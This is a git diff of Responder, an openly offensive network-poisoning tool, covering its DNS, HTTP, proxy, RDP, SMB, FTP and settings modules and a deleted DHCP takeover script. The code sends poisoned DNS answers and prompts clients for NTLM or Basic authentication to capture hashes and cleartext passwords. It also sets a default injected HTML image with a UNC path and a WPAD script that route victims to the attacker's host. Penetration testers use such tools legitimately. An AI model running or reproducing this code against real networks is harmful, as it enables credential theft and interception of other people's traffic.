@@ -77,6 +56,3 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

View File

@@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode:
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
@@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)

70
servers/DNS.py Normal file → Executable file
View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -23,11 +23,16 @@ else:
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer.
if QueryTypeClass == "\x00\x01\x00\x01":
elif QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
elif QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@@ -39,19 +44,41 @@ class DNS(BaseRequestHandler):
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
pass
@@ -65,19 +92,40 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
pass

3
servers/FTP.py Normal file → Executable file
View File

@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
except Exception:
raise
pass

27
servers/HTTP.py Normal file → Executable file
View File

@@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie
return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
@@ -216,7 +205,7 @@ def PacketSequence(data, client, Challenge):
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
@@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
SaveToDb({
@@ -242,7 +230,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
@@ -253,12 +241,12 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response
@@ -302,7 +290,7 @@ class HTTP(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close()
if settings.Config.Verbose:
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
@@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
except:
pass

13
servers/HTTP_Proxy.py Normal file → Executable file
View File

@@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0
def handle(self):
(ip, port) = self.client_address
(ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
self.__base_handle()
def _connect_to(self, netloc, soc):
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try:
self._read_write(soc, 300)
except:
pass
except:
raise
pass
finally:
@@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose:
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print(text("[PROXY] Cookie : %s" % Cookie))

View File

@@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge):
elif Operation == b'\x63':
Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:","")))
return Buffer
elif settings.Config.Verbose:

2
servers/MSSQL.py Normal file → Executable file
View File

@@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
if not data:
break
if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(NetworkSendBufferPython2or3(Buffer))

View File

@@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
@@ -93,7 +93,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic:
Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = WPAD_Auth_407_Ans()

10
servers/RDP.py Normal file → Executable file
View File

@@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
self.request.settimeout(30)
Challenge = RandomChallenge()
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
@@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = context.wrap_socket(self.request, server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
@@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = context.wrap_socket(self.request, server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))

View File

@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#LSARPC
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#WINSPOOL
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#NetLogon

View File

@@ -206,7 +206,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(Buffer)
data = self.request.recv(1024)
except:
raise
pass
##Negotiate proto answer SMBv2.

View File

@@ -127,12 +127,12 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.7.0'
__version__ = 'Responder 3.1.3.0'
class Settings:
@@ -83,7 +83,7 @@ class Settings:
# Config parsing
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
@@ -114,6 +114,61 @@ class Settings:
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP()
else:
self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
@@ -144,6 +199,12 @@ class Settings:
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if len(self.HtmlToInject) == 0:
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if len(self.WPAD_Script) == 0:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
@@ -163,6 +224,7 @@ class Settings:
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL'
@@ -174,44 +236,6 @@ class Settings:
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = []
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject == None:
self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
@@ -249,7 +273,14 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
# First time Responder run?
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
pass
else:
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1")
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except:
@@ -272,7 +303,7 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))

View File

@@ -1,360 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import optparse
import configparser
import os
import codecs
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None:
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1)
elif options.RouterIP is None:
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1)
elif options.DNSIP is None:
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1)
elif options.DNSIP2 is None:
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
print('#############################################################################')
print('## DHCP INFORM TAKEOVER 0.3 ##')
print('## ##')
print('## By default, this script will only inject a new DNS/WPAD ##')
print('## server to a Windows <= XP/2003 machine. ##')
print('## ##')
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print('## any linux box, use -R (can be noisy) ##')
print('## ##')
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print('#############################################################################')
print('')
print(color('[*]', 2, 1), 'Listening for events...')
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = Responder_IP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
WPADSRV = options.WPAD.strip() + "\\n"
Spoof = options.Spoof
Respond_To_Requests = options.Respond_To_Requests
if Spoof:
DHCPSERVER = ROUTERIP
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
